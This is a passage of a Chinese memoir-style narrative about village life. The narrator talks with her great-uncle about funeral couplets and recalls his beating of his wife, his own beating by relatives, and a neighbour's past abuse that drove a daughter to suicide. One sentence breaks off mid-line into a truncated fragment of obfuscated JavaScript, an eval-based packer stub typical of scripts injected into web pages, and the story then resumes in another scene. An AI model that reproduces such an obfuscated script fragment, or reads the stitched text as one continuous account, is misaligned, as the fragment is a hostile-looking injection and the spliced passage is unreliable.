万里南天鹏翼,直上扶摇,那堪忧患余生,萍水因缘成一梦。 几年北地胭脂,自悲沦落,赢得英雄知己,桃花颜色亦千秋。 “‘万里南天鹏翼’,这说的是蔡锷。”立勤大爷爷指着书上的字跟我说。 “嗯,说蔡锷跟大鹏一样,青云直上。”我说。 “‘直上扶摇’是说蔡锷的官儿做的大。蔡锷是将军,他不是普通人。”他说。 “是的。说他平步青云的意思。”我说。 “‘那堪忧患余生,萍水因缘成一梦。’是说蔡锷遇害被杀了,他俩儿的姻缘没有到头儿。”立勤大爷爷扶了扶眼镜说。 “嗯。小凤仙真有才分。”我说。 “‘几年北地胭脂,自悲沦落’,这说的是小凤仙自己。她一个风尘女子,能遇到蔡锷这样的大人物不容易。所以她说,‘赢得英雄知己,桃花颜色亦千秋’。”立勤大爷爷说。 “是的,这是说,小凤仙因为遇到蔡锷,她的名字也跟着千古流芳了。”我说。 “大姐。这些也就是你懂。我跟凡庄上的那些人讲,他们有几个懂得的?都是些吃草倒料的东西,知道什么哎。” 立勤大爷爷说。 我说:“大爷爷,我听俺妈妈说的。你也会写对联。” “我给人写对联,跟旁人不一样。旁人都是照着书上的抄。我都是根据死者这一辈子的经历写的。像凡奎死的时候,我给他写的挽联。那就是包涵了他的一生。”大爷爷瞪着眼睛说。他说话的时候露出了几颗明亮的假牙,那几颗假牙,让我想到了山东的二爷爷。我这样想着,觉得立勤大爷爷那几颗假牙,不但不难看,反而让他显得更加慈祥也更加有学问了。 “我给凡奎写挽联,我上联写的是,‘一世漂泊,滑稽福星,幼子未婚成憾事’。凡奎这辈子也是走南闯北的,他当个生产队长,生了三个儿,他也算是有福。凡奎家的比他小十几岁,家里外头的活儿都是凡奎家的干。凡奎自己少干了多少活儿。可是,他死的时候,他家小三儿还没成家,这对凡奎来说是个遗憾,他死都夹不上眼。” “是的。”我说。 “下联写的是,‘两相恩爱,伉俪情深,比翼双飞都一梦。’”立勤大爷爷笑笑说,“这是以恁凡奎大娘的口气说的。” “是的。”我说,“凡奎大爷走了,就撇下凡奎大娘一个人了。” “啊!凡奎家的那年还不到五十,凡奎就走了。恁凡奎大娘一个人,跟个呆头鹅样。”立勤大爷爷笑了。我也笑了。 “万般皆下品,唯有读苏(书)高。大姐,你可要好好看苏(书)。” 我说:“大爷爷,你的语文恁么好。你小时候是不是也偏科啊?” 大爷爷说:“我小时候,不仅语文好,数学也好,老师让我回答数学题,我根本不用思考,张嘴就来。老师在黑板上写,我站在下头说步骤,老师写地都跟不上我说地。” “那你成绩肯定很好了。”我说。 “俺四叔死地早。俺四婶子是活活地让大队干部给逼死的。俺四婶子一个人养着俺兄弟,就是‘罐儿’。那时候,‘罐儿’才怀里抱儿。当时吃大集体,俺四婶子偷偷地搁葫芦头里留了一把粮食,留着喂‘罐儿’的,后来被大队干部给翻出来了,要开会斗俺四婶子。俺四婶子觉得丢人,就把‘罐儿’给人家抱着,她自己躲到屋里,插上门栓,上吊死了。我那时候才十几岁,上中学。我非要去告大队干部,非要给俺四婶子喊冤不行!” “‘罐儿’这个人我听说过。”我说。 “‘罐儿’没有娘,可可怜了。他一个孤儿,生产队里让他放羊。吃饭的时候,队里一人发了两个窝窝头儿。‘罐儿’的两个窝窝头儿被人给偷走了,到处去找,‘我的窝窝呢?我的窝窝呢?’‘罐儿’的窝窝早就被人给偷吃了,哪还找得到。‘罐儿’实在饿地不行了,就去喝生产队里给羊喝的玉蜀黍汤,喝到后来,喝到了羊屎蛋子,‘罐儿’把羊屎蛋子挑出来,再接着喝。” “‘罐儿’因为跟羊住在一块儿,生了一头的疮,凡庄的人都给他叫‘秃罐儿’。‘秃罐儿’后来去参军了,他当了官儿,又回到凡庄,凡庄那些原来欺负他的亲戚又跟他亲了。”立勤大爷爷说。 “大爷爷,你那时候还是个小孩儿,你去告他有用吗?能把他告倒吗?”我问大爷爷。 “我找到公社,非把他告倒不行。后来,大队干部被我告下台了。”大爷爷说。 “大爷爷,你从小就恁么有志气。你是真厉害!你当时要是能好好上学,以后得是个律师。你后来怎么不上学了呢?”我问。 “后来新上任的大队干部,跟先前的大队干部串通一气,他们怕我上好了学,没他们的好果子吃,就不推荐我上学。那时候上大学都是大队里推荐。他们不推荐我。”立勤大爷爷说。 “唉!你说说,大爷爷。就因为你性格刚烈,遇到这样的大队干部,把你一肚子的学问给断送了。那你后来去干什么呢?”我问他。 “我后来跟人学了木匠,到了昆明这个地方,结识了我岳父。我本来是给他家里干木匠活儿的。老头儿是个工人,看到我木匠活儿好,又有才分,就要把他闺女给我。老头儿当时跟我说的好,以后让他这个闺女接班儿。后来,到了该接班儿的时候,他还是让他儿接班了。我一生气,带着恁大奶奶回了凡庄。那时候,恁大奶奶已经怀孕了,就是乔乔。” “哦,俺乔乔大叔长得蛮好的。又高又壮,白白胖胖。眼睛大大的。”我说。乔乔头脑不太好,我可不敢说这话儿。我只能避重就轻地夸奖他。 “乔乔你也看到了,他就这样,随恁大奶奶。”立勤大爷爷说。 “俺大奶奶也蛮好的。穿得干干净净的,比一般的妇女都要洋气。”我说。 一天,我跟着我妈妈从大爷爷家门前路过,大奶奶正在烙煎饼,大爷爷在她旁边支着个小锅,蹲在小锅前熬药。 “大奶奶!大爷爷!”我赶忙跟他们打招呼。 “大婶子烙煎饼的?”我妈妈说。 “烙煎饼的。三姐。恁吃饭了?”大奶奶说。 “俺吃完饭了,大婶子。”我妈妈说,“恁大爷爷可讲究了,人家吃煎饼都是恁大奶奶现烙!” “恁娘几个儿到哪儿去的?”大爷爷问我们说。 “俺去地里干活儿的,大叔!”我妈妈说。 “我怎么看俺大爷爷在熬药的?”我说。 “恁大爷爷有毛病了。”我妈妈说,“幸亏恁大爷爷自己会看书,自己在书上找的方子治疗的。要不是这样,得花不少钱,治不起。” 下午,等我们干完活儿从地里回家的时候,只见大奶奶叽里呱啦地跑到她家大门儿口儿,大爷爷拿着刷锅的丝瓜瓤子追着她破口大骂。 “恁奶奶的,你真是脑子不好使啊!” 我妈妈赶紧劝大爷爷:“大叔,你消消气儿。你看俺大婶子,刚给你烙完煎饼,脸都没洗一下。又累又热的,可怜吧。” “这个婊女人,我刚搁锅里倒好了油,她就给当成刷锅水刷了!”大爷爷痛心疾首地说。 “大叔别生气,大婶子又不是有意的。她把油刷走了,恁再倒呗。”我妈妈说。 大爷爷打骂大奶奶,大奶奶不知道跟大爷爷吵,也不知道跟大爷爷闹。她只会躲,只会跑。这会儿,她看到我妈妈来劝架,心里有了底儿,不再恁么害怕。她停下来,站在门口儿,看着大爷爷。看他气消了,她再回家。她还要择菜。她走到那一堆韭菜旁边。 “你来干什么的?”大爷爷冲她虎啸道。 “俺来弄菜的。”大奶奶小心翼翼地说。 “不要你弄!你滚到一边儿去!”大爷爷说。大爷爷终于不打大奶奶了,他让她滚到一边儿去。大奶奶老老实实地滚到一边儿去了。 看着大爷爷不再打大奶奶了,我们才回了家。 我说:“妈,俺大爷爷的脾气怎么恁么差!” 我妈妈说:“恁大爷爷脾气不好。他娘给他做饭,有时候做地不好,他也是又吵又骂。” 我说:“他这样的脾气,俺大奶奶一辈子跟他怎么过的。他骂,她也不知道跟他骂。他打,她也不知道跟他打。” 我妈妈说:“恁大奶□□脑不太好,是事儿都听恁大爷爷的。不敢吵不敢闹,一辈子没出恁大爷爷的手心儿。” 我说:“要是我,我可受不了。我得跟他吵,跟他闹。他天天对我又打又骂的,我还跟他过什么。不行,我就跟他离婚。” 我妈妈说:“恁大奶奶跟我说的,有时候吵完架,她也不想跟恁大爷爷住一块儿了。恁大爷爷还不愿意呢。非得让恁大奶奶跟他住一块儿。男人,都是孬种!” 我说:“俺大爷爷都恁么大年纪了,还得跟俺大奶奶住一块儿啊。” 我妈妈说:“恁高中部的李主任,给恁这些女生开会的时候不是说了嘛,男人没有好东西。” 我说:“李明义跟男生开会的时候也跟男生说,女人没有好东西。” 我妈妈说:“人吧,有优点就有缺点。恁大爷爷脾气不好吧,人家有本事。凡庄的‘人物’有了什么官司,都来请恁大爷爷。大爷爷天天给人家出谋划策的。人家给恁大爷爷的烟都是好烟。” 我说:“唉!俺大奶奶稀里糊涂的,乔乔傻了呱唧的,俺大爷爷再英明,又有什么用哎。后继无人了。” 我妈妈说:“恁可不能搁恁大爷爷跟儿来说乔乔不好哈,要夸乔乔聪明,要不,恁大爷爷会生气。有个人倒实锤,跟恁大爷爷说,‘大哥啊,你看恁家乔乔那个样儿,趁着恁公母俩儿还在,赶紧给他找个媳妇。’恁大爷爷就不高兴了,打那不跟那个人说话儿了!俺搁恁大爷爷跟儿来都是夸乔乔能干,夸乔乔会开拖拉机,又能耕地,又能耙地。样样都管。” 我说:“俺大爷爷光是不让人说也没用哎。那还不是掩耳盗铃嘛。俺大爷爷恁么聪明的一个人,怎么找了这样一个媳妇的。还遗传小孩儿。” 我妈妈说:“谁知道来?你说说。人家说,娘憨的话,小孩儿别吃他娘的憨奶,就会好一点儿。难道乔乔吃他娘的憨奶了?恁大爷爷这个人古怪,跟旁人不一样,人家要是跟他说,不让乔乔吃他娘的憨奶,恁大爷爷可能还不高兴来。他当时可能大意了,觉得没事儿。” 我说:“俺大爷爷也是的,他怎么过的?全家就靠他一个人。” 我妈妈说:“恁大爷爷,人家生活儿蛮好的,比咱家好多了。恁大奶奶跟乔乔娘俩儿,都有低保。恁大爷爷种点儿地,干点儿木匠活儿,人家一家三口儿,生活不孬。恁大爷爷这个人实诚。他找人帮忙干活儿,也不炒几个盘子几个碗,就熬上一大碗猪肉,端给人家吃。” 我笑着说:“俺大爷爷净给人家吃猪肉啊?” 我妈妈说:“一碗猪肉还不够啊?还要吃什么啊?咱庄户人,哪找去的。人家不弄那些虚的,人家就给你吃碗猪肉拉拉馋。那还不行啊?” 过完年的时候,我妈妈跟我说:“恁大爷爷要请恁去他家吃饭。恁去吧。恁大爷爷二兄弟家的小孩儿也去。恁大爷爷这个人讲究,他跟他二兄弟家的不好,老是吵架。恁大爷爷还请请他二兄弟家的小孩儿,人家觉得那是他侄子、侄女儿。” 傍晚,我到了大爷爷家,大爷爷家早就炒好了一桌子菜,他和大奶奶、乔乔都已就坐,在座的还有大爷爷二兄弟家的闺女、儿子。 不一会儿,我妈妈也来了,她手里端着半碗芝麻盐,笑着走进大爷爷的堂屋门儿说:“大叔啊,我也来恁家吃饭了!” 大爷爷笑着说:“来吧!” “我吃完了大叔,恁赶紧吃饭吧。”我妈妈说着,就坐在大爷爷屋门旁儿,靠着他家的门框,一本正经地看电视。 我看我妈妈规规矩矩地坐在那儿,模样很好笑,就跟大爷爷说:“大爷爷,你看俺妈,规规矩矩地坐在那儿,跟个小学生似的!” 立勤大爷爷笑了。 “我就是恁大爷爷的小学生呢。我就是拿着恁大爷爷跟俺老师样。”我妈妈说,“我那时候是想上学没上成的,俺因为成分不好,大队干部不推荐俺。” 我见大爷爷饭桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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我看见大爷爷的书桌上堆着一摞火纸,以为是人家送到他家里的。 我就问他:“大爷爷,那些火纸是人家送到恁家里来,让你给他们叠的吗?” 大爷爷说:“不是人家的,都是我自己买的。” 我妈妈笑着说:“哪有朝人家家里送火纸的啊?到底是小孩儿,不懂事儿啊。” 原来,我又不小心说错话了。可是大爷爷笑嘻嘻地,并没有生气。 “她看到人家往恁家送红纸,让你给人家写对联,她就当这些火纸也是人家送来让你给人家叠的。幸亏恁大爷爷不生气。要是旁人早就生气了。”我妈妈笑着说。 我看我妈妈也没有生气,我的心才稍微放了下来。 吃过饭,回到我家。我妈妈开始埋怨我:“你怎么老是说恁大爷爷烧地菜多的,大冬天的,人家不会第二天热着吃吗?你看恁大爷爷都不吱声,你还老是说!”噢,我说话又不妥了,我还以为,我一直说大爷爷家做的菜多,是在赞扬大爷爷一家热情来! 这以后,我的学业负担也重了。知道单单是喜欢对联,对我的学习是无济于事的。学习是比写对联更繁杂的事儿。这以后,我就很少去立勤大爷爷家。 一个星期天下午,我妈妈非让我去立勤大爷爷家里去坐坐。 她在天井里晒着东西说:“你不看书了?你要是闲着没事儿,你去恁立勤大爷爷家里找他坐会儿吧。” 我说:“我中午没睡好觉,没精神,我不想去。” 我妈妈说:“你去吧。去坐会儿就来。你好长时间没去恁大爷爷家了。别让恁大爷爷有什么想法儿。” 我没办法,强打着精神到了大爷爷家院儿里。立勤大爷爷站在他家天井里。 “大爷爷!”我跟他打招呼说。 “哎!大姐来了?坐会儿吧!”立勤大爷爷说。 “嗯。行,大爷爷!”我呆呆地坐在他家天井里,不怎么说话。 “大姐最近学习忙的哈?”大爷爷问我。 “是的,大爷爷。”我焉了吧唧地说。 “高中生了,天天的,学习压力也大。”大爷爷没话找话说。 “是的,大爷爷,学习压力特别大。我都天天失眠,睡不好觉。”我木然地说。是的,高中生的学习压力太大了,我不想跟他讨论那些对联,也不想跟他议论凡庄人的是是非非了。这些与我沉重的课业负担毫无关系。学习就是学习,其他的说地天花乱坠,也是毫无意义。 我心里揣着这些想法,再加上中午没睡好。更加木然了。我呆呆地坐在大爷爷的天井里,不想说话。 立勤大爷爷在天井里站了一会儿,居然着急了。是的,他慌了神儿了。 他满腹狐疑地皱着眉头问我说:“你是怎么回事儿啊,大姐!你怎么不说话的?我没得罪你哎!” 我说:“没有。大爷爷。我是最近学习太累了。没精神。” 大爷爷狐疑地说:“噢!”但是,我知道,他心里还是有些不乐意。 农村人,尤其是老人家,总是喜欢到一起抽个烟,说说话。我一开始还兴致勃勃地爱到大爷爷家里来,爱跟大爷爷说说对联的事,说说凡庄的事。但是后来,我慢慢地长大了,课业负担也更重了,深知学习的艰难、生活的艰难,不再爱谈这些事儿了,因为知道空谈不能解决很多事儿。我变得不爱去大爷爷家了。大爷爷只知道我变了,他老人家哪知道我心里的想法。 大爷爷跟他二兄弟一家不好,大爷爷嘴臭,说话狠辣,一针见血,不留情面,容易得罪人。他经常跟他二兄弟一家吵架。他兄弟媳妇,也不是个善茬儿,不仅恶狠狠地跟大爷爷又吵又骂,还去娘家搬来了一拖拉机的救兵。 那是一个夏天,我听我妈妈说:“恁立勤大爷爷被他二兄弟媳妇娘家的人打了。” 我问:“怎么回事儿?” 我妈妈说:“恁大爷爷坐在天井里里剥蒜,一群人从拖拉机上跳下来,手里都拿着一根长棍子,按住恁大爷爷七里扑腾地就是一顿毒打。恁大爷爷六十多的人了,身上还有病。哪禁得住这一顿毒打啊?” 我说:“是的,论动口,全凡庄的加在一块儿人,大爷爷没有怵的。可是,要是论拳头,论武力,大爷爷这样的小老头儿,任何一个壮劳力打他一顿,都给打个蚂蚱似的。” “那还不跟打长虫似的吗?”我妈妈说。 “有人看到去拉架吗?”我问。 我妈妈说:“当时,人都在自己家剥蒜。哪有人知道啊?” 我说:“那后来呢?” 我妈妈说:“后来,恁大爷爷爬到了屋里,把屋门反锁上,那群打手才走。” 我说:“俺大爷爷被打成那样儿了,还有力气锁门啊?” 我妈妈说:“谁知道来。你说说。是人家把他反锁在屋里的?还是他自己锁的?” 我说:“现在呢?俺大爷爷怎么样了?” 我妈妈说:“恁大爷爷被人抬到医院,一检查,好几根肋巴骨都给打断了,都插到肺里去了。恁大爷爷就搁青羊山住院。回我带你去看看恁大爷爷去。” 那天,我妈妈带着我到了青羊山医院。大爷爷像是快要死了一样躺在床上,他的肺上插了管子,血水从管子里渗出来。大爷爷的病床底下有一个容器,接着那些血。大爷爷躺在病床上,眼睛眯着,一句话都不说。 我看见大爷爷这个样子,除了替他难过,倒是没有什么感觉。我妈妈见大爷爷这个样子,难过地直掉眼泪:“大叔啊,恁放心吧!恁地里的蒜,我去帮恁收!” 大爷爷的三兄弟跟他三兄弟媳妇儿也来医院看望大爷爷了。老三媳妇用保温壶装了一大碗排骨汤,她把保温壶放在大爷爷的床头柜上,跟大爷爷说:“你就是嘴臭得罪人!你那个嘴要是不那么臭,老二家的也不会对你这样!” 立勤大爷爷躺在床上,气地撅着嘴,他挣扎着动了动,冲着老三媳妇骂道:“你是眼瞎了!都怨我啊?滚!你个龟孙女人!” “你又还阳了!你又还阳了!你又能骂人了!我还烧排骨汤给你吃!我真是瞎了眼了!”老三媳妇说着拿头往墙上撞去。老三赶紧死死地抱住他媳妇。老三媳妇哭着、骂着回家了。从今以后,老三家的再也不用来看立勤大爷爷了。 “老三媳妇根本就不想去看恁大爷爷,怕老二家的恨她。老三媳妇仗着有男人宠,故意跟恁大爷爷吵了闹了,这样她就跟恁大爷爷撇清了关系了。”我妈妈说,“我得去帮恁大爷爷收蒜去了。” 起蒜,起蒜,说起来简单,干起来却是犯了难。几亩地的大蒜,成千上万地长在地里,你得一棵棵地拿铲子挖去。农历五六月的天气,顶着毒太阳,蹲在地里,累了,跪着,爬着,恨不得坐在地里,睡在地里,死在地里。我妈妈累死累活地给大爷爷家起蒜。我想想也心疼我妈妈。 我跟我妈妈说:“收蒜恁么累。你也得注意自己的身体。你光是收咱家的蒜就够累的了,还去帮俺大爷爷收蒜。你自己也注意点儿,不能干就别干。” 我妈妈说:“那也不行哎,恁大奶奶跟乔乔干活儿不行。恁大爷爷一倒下,就剩下她苦娘俩儿了。咱不帮他一把,他一家三口吃什么喝什么?恁大爷爷身体恢复了,还得吃喝哎。” 我说:“大爷爷自己本家没有帮忙的啊?” 我妈妈说:“人家帮忙?我去帮忙,人家都把咱给恨死了!凡庄的人,这下都被我得罪光了!恁大爷爷嘴厉害,得罪了不少人,又不占贤,他这一倒下,地里活儿没人干了,恁大奶奶跟乔乔,憨不拉几的,他家今年的大蒜还不得炸在地里,碎在地里。多少人等着看他家的笑话。就恁妈这个北乡的‘侉子’去给他帮忙。这下,那些等着看笑话的,尤其是恁大爷爷的近房,都恨透了恁妈妈了。” 我说:“他们恨就恨去呗。本来咱跟他们也不好。” 我妈妈说:“俺不问这些。人行好事,莫问前程。人行坏事,老天照应。俺就当积德行好,给儿女造福。我被人打骂的时候,就恁大爷爷去给我拉架,旁人谁去给我拉架啊。” 我说:“那些人打了俺大爷爷就白打了啊?” “大爷爷挨打不能白挨,恁大爷爷要是告,那些打手得吃官司。后来,恁大爷爷的二兄弟出面,向恁大爷爷求情,赔偿恁大爷爷五千块钱,这件事就算了了事儿了。” 大爷爷出院以后,他拖着还没有完全康复的身体,来到我家院子里走走。他那时身体还很虚弱,大夏天,大爷爷肩膀上拖拉着一件白的确良的褂子。因为身体还没康复,他的蓝色的确良裤子也穿不好,一只裤子口袋耷拉在外头。 我妈妈说:“大叔。恁想开点。好好保养身体。在凡庄,我永远承认恁是个人物,国美二叔是个人物,国佩三叔是个人物,凡武大哥是个人物。其他的都是□□蛙子,虾兵蟹将。再怎么逞能也称不上人物。” 大爷爷笑着,不怎么说话。他还是一头苍白的头发。此刻,他拖拉着刚出院的身体,一介老者,身后无人,病中虚弱。他看起来已经是一个孱弱的夕阳了。我对大爷爷的崇拜也像苍白的夕阳的微光一样,更加虚弱了。是的,人是趋利避害的。人人都羡慕权势、财富、强壮、力量,人人都厌弃病弱、卑微、无能、孤寒。人们在对强者的向往和崇拜里幻想到了理想型的自己,于是人人都爱慕那个强者,人们在对弱者的审视里看到了灵魂深处被诅咒的那个卑弱的自己,于是,人们像是躲避瘟疫一样,躲避着那个卑弱的东西,免得他的卑弱和无能传染到了自己。 我家西边,二丸子家的又站在她家门口儿喂猪了。 二丸子长得粗粗矮矮的,又有点老相,他的老婆倒是人高马大,白白胖胖红红亮亮,看上去就很健壮。他们有一个儿子。二丸子家的经常被二丸子追着打。听说,二丸子家的也是买来的,也是头脑有问题。 二丸子家门前就是他家的猪圈,二丸子的老婆经常站在他家门口喂猪,或是看着路过她家门口的人,笑笑,打个招呼。她老老实实,本本分分,勤勤恳恳,只知道吃饭,干活。她不嚼舌头,也不欺负人,不拉帮结派,也不拨弄是非,不坑蒙拐骗,也不机关算尽。大家都说她脑子不好。 水仙哥站在她家门口儿,笑嘻嘻地看看她。他们两个人也不说话,就那样笑嘻嘻地各自站着。路过的人看见了他们,他们笑嘻嘻地跟人打个招呼,继续站在原地。他们不犯谁,谁也不犯他们。 听说水仙哥很喜欢二丸子家的,她也属意于他,水仙哥是个老实人,他们两个倒是般配。可是水仙哥太懦弱,不敢带她跑,她只能跟着二丸子挨打受骂。水仙哥就是这样,脾气好,什么都好,就是太懦弱,保护不了自己心爱的女人。听说,水仙也有过老婆,都被他嫂子给骂跑了。 等到二丸子跟他娘看到了,对他们两个摆出难看的脸色,或是吆喝一声儿,她们两个人就各自走开了。 4.凡武大大 转眼到了刨花生的季节。人家种的花生收获了,拔了来,揪掉花生,把花生秧子晾晒在大门外头的矮墙垛子上。一摞摞青青的花生秧子上,挂着几个嫩白色的小花生果儿,散发着清甜的花生的香味儿。我妹妹放学路过那儿,踮起脚,去把那几个花生果儿摘下来,放到自己挎包里,带回家给我妈妈吃。 “妈妈,你吃长果吧!”我妹妹摊开她的手掌说。 我妈妈问她:“你搁哪儿弄的长果啊,笑笑?” 我妹妹说:“我搁人家花生棵子上拾的。” 我妈妈说:“噢,妈妈不吃,你吃吧!” 小小的花生果儿里头没有米儿,妹妹拿起来一个放在嘴里,一咬脆脆的,嘴里全是生生的花生壳的香味儿。 一天早上,凡庄南家前的凡武大大来了。凡武大大有六十多了,穿着一身蓝色的中山装,剃着干干净净的寸头,圆圆的脑袋,圆圆的眼睛,黑黑的头发,白白的皮肤,厚厚的嘴唇微微张开着,不怒自威,像个退休的老海军。听我妈妈说,凡武大大以前是黄埔军校的学生。凡武大大家门前的巷子里,是一个牌场。一群男人吃饱了没事儿,就去那儿打牌。凡武大大在村里无事,经常背着手在那儿转悠。 他姓凡,但他不是老五房的人。他出身尊贵,但是不欺负我们,那他就是凡庄凡姓里难得的好人。 我见了他,嘴里和内心都极为恭敬地叫他一声:“大大。”他温和地点点头,干干净净的面容,气质缓慢而从容,让我确信他确实曾经是黄埔军校的学生。 “恁怎么来了?大哥!恁吃饭了吗?”我妈妈说。 “吃完饭了。明天,我打算刨长果。你要是没事儿就带着几个小孩儿去帮帮忙。”大爷背着手儿说。 “行!大哥!恁还坐坐吧?”我妈妈问他。 “不坐了,恁明天记得去。就在西山上那块地里。”凡武大爷说着转身儿走了。 我妈妈跟我说:“明天,俺得去给恁凡武大大家拔长果了。恁凡武大大凡武大娘对咱家稀好稀好的,他让我去帮忙,咱能不去吗?” 我说:“人家春燕大姐都来给俺凡敏大大帮忙。凡武大大的儿怎么不来给他帮忙的?” 我妈妈说:“恁大爷的儿工作的地方远,你没见他回来过吧。” 我说:“他儿搁外头工作啊?” 我妈妈说:“嗯,恁大爷的儿叫圈儿。圈儿上成学了,搁外头工作。” 我说:“凡武大大对他儿蛮好的,不然他儿也上不成学。” 我妈妈说:“听说圈儿上学的时候,恁大爷每学期都请老师吃饭。好让老师多教教他。有一回,他请老师吃饭,恁大娘搁锅屋里炒菜。不知道是谁,从菜里扯出来一根头发来,顺口说了一句,‘这里还有一根头发呢!’恁凡武大大一言不发,来到锅屋里,照着恁大娘的大腿里子就掐。恁大娘,忍着眼泪,还得接着做饭。” 我问我妈妈:“他现在还打俺大娘吧?” 我妈妈说:“现在都老了,不打喽。恁大娘身体不好。恁大哥前些日子回来过一回,还带了医生,专门儿来给恁大娘看病的。” 我说:“俺大哥对他娘还蛮好的。还知道疼他娘。” 我妈妈说:“恁大娘的病也是恁大爷年轻的时候给折腾的。恁凡武大大年轻的时候不是人,虐待妻子孩子。恁凡武大大的二闺女,就是受不了她爹的虐待。半夜喝了药,自己跑到河里,淹死的。” “喝了药,为什么要往河里跑?” “人喝完药,内里烧地难受啊。她跑到河里泡着,水凉,她才痛快一点啊。”我妈妈说。 “凡武大大真不是东西,好好的闺女被他逼死了!”我恨恨地骂道。 “你可别骂恁大爷哈。”我妈妈说,“人家又不打咱,也不骂咱。在凡庄,谁不打咱不骂咱就是好人。” 我说:“哼!他自己天天背着手儿去看人打牌,让你给他家刨长果!就那点儿活儿,他自己慢慢儿干不行吗?” 我妈妈说:“恁大爷哪是让咱给他帮忙的,人家是想给咱长果吃的。” 我妈妈给凡武大大拔长果的那天下午,我家天井的巷子里多了一篮子花生。 我问妈妈:“谁给的长果啊。凡武大大给的啊?” 我妈妈说:“刨完长果,恁凡武大大使唤恁凡武大娘,装了一篮子花生给我,让我带回家给恁几个吃。我不敢晒在当天井里。怕大恶心看到。姓凡的都是孬种。所以我连花生都不种。恁长大了有本事了,自己种了吃,买了吃。” 我说:“俺凡武大爷还怪好来。” 我妈妈说:“我跟恁凡武大爷说的,你爱看书,咱家没钱买。恁凡武大爷跟我说,他家有几本书,不知道适合你看吧。让你有空儿去他家看看。” 听了我妈妈的话,我就慕名去了凡武大大家。 我到了凡武大大家的大门口儿,喊了一声:“大大!”凡武大大背着手从屋里走了出来。 我说:“大大,我想跟您借本书看。”凡武大大听了转身儿回到屋里,很快,他从屋里拿出来一本书。我接过来看了看,是一本古书,深蓝色的封面上写着:《牡丹亭》,正是我在老师那里听说过的一本书,我就高兴地拿回家看。 那本《牡丹亭》,字是竖着写的。很薄的一本书,但是很耐看。那时,我十六七岁,正是情窦初开,不知道爱情是什么东西,又傻傻地为情字痴迷的年纪。我看了那《牡丹亭》,越发地陷入无端的情字迷惘中了。其中的酸酸楚楚、生生死死,对一个对爱情对婚姻不明就里的高中生来说,浸淫地非常透彻。从另一方面来说,这真算得上是一种莫大的毒害。而今我年近四十,方知女子最不要执迷于什么情情爱爱这些狗屁玩意儿,否则才真地会误了终身。 但那时我已然不幸看了《牡丹亭》,我的心魂又极易受文字的浸淫,那些阴阴阳阳人人鬼鬼之间的幽幽怨怨,在我的心里反反复复,对我十七八岁正青春的灵魂是一种不妥的指引。我对深埋在我心里的那个成绩很好的男同学越发的痴痴呆呆疑惑不解了。他的名字一直在我的脑海里绕梁三年,这坨乌云直到我高中毕业才自然地被冲散开。那个名字我今天已经懒得去说,一个不值得的暗恋过程让我头晕恶心。可是当日,情字入心,身在迷中,又是多么执迷不悟,任谁都难劝难说,难分难解。 而且,我的十八岁是被青春痘占据的,满目疮痍,坑坑洼洼的十八岁。那时的我为困顿的学习和贫穷的生活所累,衣衫简陋,垂头丧气,哀怨颓唐,紧皱双眉。我的青春像是哀牢山枯枝败叶下的苔藓,云遮雾掩,渺渺茫茫,满身都是负累,满面都是土腥味儿。 说实话,那本书,我当时看地很入心,现在回想起来也很后悔。我就不该在那个时候看那本书。女孩子还是不要看那些纯粹的情情爱爱的书,真正的爱情根本不是那么一回事儿。很多的爱情充满了算计、背叛和欺骗,很多的婚姻掺杂了孩子、生活、和苦累。 21. 你不能这样骂姐姐!姐姐大了! 1.“你不能这样骂姐姐!”我幼小的妹妹哭着说,“姐姐大了!” 春枝奶奶家里盖着二层小楼。春枝奶奶经常在她家大门楼子底下做活儿。我妈妈经过她家门口儿,她就喊我妈妈去她家玩一会儿。我妈妈就带着我妹妹,到春枝奶奶大门下,坐下来,跟她一起拉呱儿。 “笑笑啊,你吃饭了吗?”大奶奶问。 “吃完饭了。大奶奶。”我妹妹甜甜地说。 “俺家才吃完饭,炒地青椒豆粒儿。我给你卷个煎饼去!”大奶奶说。 “你别累手了,大婶子!小孩儿不饿!”我妈妈赶紧说。 “你看看,我卷个煎饼给小孩儿吃吃!怕什么的!”春枝大奶奶说着,转身进了屋。她到她家堂屋里卷着煎饼出来了。 “来!笑笑,看看大奶奶炒地豆粒儿好不好吃!”大奶奶笑着说。 “好吃!”我妹妹咬着煎饼说。 大奶奶笑着跟我妹妹说:“吃吧,乖孩子!” “你看,恁大奶奶多疼你哦!长大了可不要忘了恁大奶奶!”我妈妈说,“你怎么给她卷了那么多菜的,大婶子?恁还吃什么了?” “没事儿,我炒地多。俺家习惯了,能吃菜。俺家吃菜都是一人一碗,扒菜!”大奶奶说。 “俺大叔不搁家啊?”我妈妈问她。 “他不搁家,去闸上上班了。他家吃菜小气。我才来他家的时候都不敢吃菜,他娘炒菜少,我都不敢下筷儿。”大奶奶说。 “大叔家人口多,大叔弟兄好几个。”我妈妈说。 “他弟兄多,俺家就我跟俺娘。俺娘炒一碗菜,就俺娘俩儿吃。我拿煎饼,一包一小包儿。”大奶奶笑着说。 有一次,我放学的时候,路过大奶奶门口。大奶奶穿着白色的褂子,摇着扇子,跟大爷爷一起坐在门口儿凉快。 “大奶奶!大爷爷!”我叫她。 “哎!放学了?大姐!”大奶奶说。 “放学了,大奶奶!”我说。 “俺家包了饺子,米荠菜的。你来吃吧!”大奶奶说。 “我不吃了,大奶奶!”我说。我都长大了,我是真地不好意思去人家家里吃饺子了。 “来吧,来吧!我包的多呢。来来来!”大奶奶说着反身走进她家堂屋里去,“你等着哈,我给你盛去。”我看大奶奶实心实意地留我吃饺子,就停下来站在她家门口儿等她。 大奶奶端了一碗饺子出来,递给我:“吃吧!我上午跟恁大爷爷一块儿去地里挖地荠菜!呐!给你板凳,坐下来吃吧!”大奶奶说。 我就坐下来吃饺子。大爷爷默不吭声儿地坐在院子里头。 春枝奶奶看着我吃饺子,跟我说:“大姐!可要好好上学,上好了学,以后享福!当官儿,享不尽的荣华富贵!” “哦。”我嘴里答应着。 我那时候还不能理解。为什么这些朴实的百姓,却有这么庸俗的梦。当官,发财,是我年少的大脑里从未有过的想法。可是后来,我慢慢地理解了。因为他们吃了生活太多的苦。他们缺吃少穿,就盼望富贵荣华;他们受人欺负,就盼着能当官。只有荣华富贵了,才能不再挨饿受冻;只有当官了,才能不再受人欺负。如此说来,当官,荣华富贵,又不是梦,这是他们真实的命运里的痛,这是他们痛苦命运里的心病。 等我吃完了饺子,把碗给大奶奶。大奶奶接过碗去,我就回家了。 到了家里,我跟我妈妈说:“春枝大奶奶留我吃饺子了。” 